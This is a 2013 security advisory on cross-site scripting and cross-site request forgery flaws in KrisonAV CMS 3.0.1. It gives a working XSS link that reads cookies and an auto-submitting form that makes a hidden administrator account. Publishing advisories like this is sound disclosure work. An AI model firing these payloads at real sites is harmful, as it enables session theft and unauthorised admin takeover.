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KrisonAV CMS 3.0.1 CSRF / Cross Site Scripting

KrisonAV CMS 3.0.1 CSRF / Cross Site Scripting
Posted Apr 17, 2013
Authored by High-Tech Bridge SA | Site htbridge.ch

KrisonAV CMS version 3.0.1 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2013-2712, CVE-2013-2713
SHA-256 | 67fef60fe75255a54bdaa421e598033b564c3cd7f9a2ddc60ad14b24dcb74af4

KrisonAV CMS 3.0.1 CSRF / Cross Site Scripting

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Advisory ID: HTB23150
Product: KrisonAV CMS
Vendor: http://www.krisonav.com
Vulnerable Version(s): 3.0.1 and probably prior
Tested Version: 3.0.1
Vendor Notification: March 27, 2013
Vendor Patch: March 31, 2013
Public Disclosure: April 17, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2013-2712, CVE-2013-2713
Risk Level: Medium
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in KrisonAV CMS, which can be exploited to perform cross-site scripting and cross-site request forgery attacks.


1) Cross-Site Scripting (XSS) vulnerability in KrisonAV CMS: CVE-2013-2712

The vulnerability exists due to insufficient filtration of user-supplied data passed to "content" HTTP GET parameter via "/services/get_article.php" script. A remote attacker can trick a logged-in user to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of the vulnerable website.

The exploitation example below uses JavaScript "alert()" function to display user's cookies:

http://[host]/services/get_article.php?content=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


2) –°ross-Site Request Forgery (CSRF) vulnerability in KrisonAV CMS: CVE-2013-2713

The vulnerability exists due to insufficient verification of the HTTP request origin in "/users_maint.html" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create a new account with administrative privileges.

PoC (Proof-of-Concept) below will create a new account with login "username" and password "password":


<form action="http://[host]/users_maint.html?itemid=52&maint=1&ccsForm=users" method="post" name="f1">
<input type="hidden" name="disabledCheckBox" value="1">
<input type="hidden" name="username" value="username">
<input type="hidden" name="password" value="password">
<input type="hidden" name="groups_index" value="20">
<input type="hidden" name="email" value="newuser@mail.com">
<input type="hidden" name="Button_Insert" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>


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Solution:

Upgrade to KrisonAV CMS 3.0.2

More Information:
http://www.krisonav.com/articles_show.html?articles_id=release-notes

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23150 - https://www.htbridge.com/advisory/HTB23150 - Multiple Vulnerabilities in KrisonAV CMS.
[2] KrisonAV CMS - http://www.krisonav.com - KrisonAV is a content management system (CMS), which enables you to build Web sites and online applications. It is based on Codecharge Studio, that makes it extremely powerful and secure.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
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